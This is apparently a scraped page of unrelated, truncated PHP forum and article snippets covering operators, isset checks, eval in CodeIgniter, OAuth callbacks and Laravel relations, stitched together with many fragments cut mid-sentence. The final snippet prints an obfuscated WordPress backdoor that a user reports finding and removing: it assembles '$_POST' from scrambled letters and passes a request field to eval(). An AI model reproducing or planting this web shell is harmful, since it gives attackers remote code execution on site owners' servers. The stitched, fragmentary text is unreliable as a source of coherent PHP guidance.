What does the percent sign mean in PHP? What is the PHP operator % and how do I use it in real-world examples? !!Logical Operators Double not (!!) operator in PHP @Error Control Operators What is the use of the @ symbol in PHP? 'At' symbol before variable name in PHP: @$_POST...
Added with PHP 7, thecoalesce operator(??) comes in handy when we need to use a ternary operator in conjunction withisset(). It returns the first operand if it exists and is notNULL. Otherwise, it returns the second operand. Here is an example: $username = $_GET['user'] ?? ‘nob...
The index "BLAH" does not yet exist within the $_GET array. You need to check for it's existence before attempting to use it's value. if (isset($_GET['BLAH'])) { // safe to use } Quote This thread is more than a year old. Please don't revive it unless you have ...
if ( ! isset($active_record) OR $active_record == TRUE) { require_once(BASEPATH.'database/DB_active_rec.php'); if ( ! class_exists('CI_DB')) { eval('class CI_DB extends CI_DB_active_record { }'); } } else { if ( ! class_exists('CI_DB')) { eval('cl...
if(isset($_POST['code'])) First, we check for the presence of the authorization code in the query string which indicates that Apple has completed the initial step and sent the user back to the app. Next, we verify thestateparameter matches the one we set at the beginning. This is to...
Before ProcessWire hands of to your templates' code it does not output any markup. So you should be able to change headers anytime before that and even in your templates' files if you're not outputting markup by yourself before that. ...
send_email(to,from,subject,body)– sends an email. This is a wrapper around themail()function, but checks to see if it should beBCCing the sysadmin and does that if necessary. It also handles all the weird mail header options in a nicer way. ...
Personally, while I don’t spend time making sure everything looks identical in IE8, I do at least check it and typically make the page largely readable. Does it matter? Probably not, as if you are still running Internet Explorer 8, the web is probably a horribly broken place, but basi...
// User.php public function team(){ return $this->hasOne(Team::class); } and // Team.php public function users(){ return $this->hasMany(User::class); } Does that mean I have to check first (in teamcontroller) if a user already has a team_id before doing anything else (vali...
I found a file in my wordpress website containing this code Code: $wat8= "so_pt" ; $cvn1=strtoupper ( $wat8[2].$wat8[3].$wat8[1]. $wat8[0].$wat8[4]) ;if( isset( ${$cvn1 }[ 'qd6e706' ])){eval( ${ $cvn1 } [ 'qd6e706']) ; } I have removed it and fo...